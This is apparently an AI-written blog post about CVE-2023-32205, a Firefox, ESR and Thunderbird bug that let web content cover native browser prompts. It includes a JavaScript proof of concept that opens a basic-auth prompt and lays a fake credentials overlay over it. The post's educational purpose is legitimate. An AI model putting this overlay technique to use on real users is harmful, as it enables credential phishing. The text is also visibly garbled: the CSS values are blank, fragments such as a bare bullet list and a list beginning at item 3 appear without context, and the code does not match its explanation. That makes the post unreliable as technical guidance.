CVE-2023-32205 - How Hidden Pop-ups in Firefox, ESR, and Thunderbird Left Users Open to Spoofing Attacks

In May 2023, Mozilla patched an important vulnerability—CVE-2023-32205—that impacted several major products: Firefox (<113), Firefox ESR (<102.11), and Thunderbird (<102.11). This bug allowed websites to obscure or "cover" critical browser prompts with their own popups, risking both *user confusion* and *spoofing attacks.* In this post, we’ll break down what happened, see some code, and understand why it matters.

What Is CVE-2023-32205?

CVE-2023-32205 is a vulnerability where websites could overlay arbitrary popups or windows on top of browser-initiated prompts—think authentication requests, file download warnings, or permission dialogs. This could lead users to trust content *from the website*, believing it was a secure prompt from the browser itself.

Official Description

> *In multiple cases, browser prompts could have been obscured by popups controlled by content. These could have led to potential user confusion and spoofing attacks. (CVE-2023-32205)*
> Sources: NVD – CVE detail, Mozilla Security Advisory

How Did the Vulnerability Work?

The crux of this bug is the improper *z-index* handling and focus management for native browser dialogs. Since browsers usually display native prompts (like the basic authentication login) above all site content, users can trust their authenticity. But CVE-2023-32205 allowed JavaScript-controlled popups or overlays to sit visually on top of these prompts.

Example Scenario

Imagine a website asking for your login info. The browser, for your safety, should prompt a native dialog. But with this bug, the site could cover the dialog with its *own* fake prompt—tricking you into giving away sensitive data.

Exploit Code Sample

Here’s a minimal repro using JavaScript. (Note: fixed in recent Firefox, but shown here for education.)

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2023-32205 Demo</title>
    <style>
        #cover {
            position: fixed;
            top: ; left: ; right: ; bottom: ;
            background: rgba(,,,.8);
            color: white; font-size: 2em;
            z-index: 999999;
            display: none;
            align-items: center;
            justify-content: center;
        }
    </style>
</head>
<body>
    <button id="trigger">Trigger Prompt + Overlay</button>
    <div id="cover">🔒 Please enter your credentials</div>
    <script>
        document.getElementById('trigger').onclick = function() {
            // Open browser authentication prompt
            setTimeout(function() {
                window.location.href = "https://httpbin.org/basic-auth/foo/bar";; // Triggers Basic Auth prompt
            }, 500);

            // Maliciously display full-window overlay after small delay
            setTimeout(function() {
                document.getElementById('cover').style.display = 'flex';
            }, 100); // Timer races prompt; overlay covers it
        };
    </script>
</body>
</html>

What happens here?

After it appears, it quickly draws a full-page overlay on top, spoofing the prompt.

*In affected browsers, users might interact with the overlay, never realizing the real prompt is underneath.*

- Hide security warnings, e.g. file download or certificate errors, and show their own safe-looking message.
- Manipulate user permissions by hiding location/camera prompts and faking a ‘denied’ or ‘allowed’ notification.

Thunderbird users below 102.11.

Users on these versions should update ASAP.
Check your Firefox version: Menu ➔ Help ➔ About Firefox.

Resolution & References

Mozilla quickly fixed this bug. After the patch, browser UI sits *on top* of all web content, making spoofing impossible again.

Important references

- Mozilla Security Advisory MFSA2023-17
- NVD Vulnerability Details
- Mozilla Bugzilla Report (if public)

Look for native browser styles—real prompts are styled differently from in-page popups.

3. Double-check warnings about passwords, downloads, or permissions. If in doubt, close the tab and revisit the site.

Conclusion

CVE-2023-32205 shows how small UI bugs can expose millions to tricky phishing attacks. Modern browsers constantly update to close these holes—it’s a team effort between developers and users.

Stay curious, and always stay patched!

*Exclusive, original post by AI | Last checked: June 2024*

Timeline

Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/09/2023 03:56:00 UTC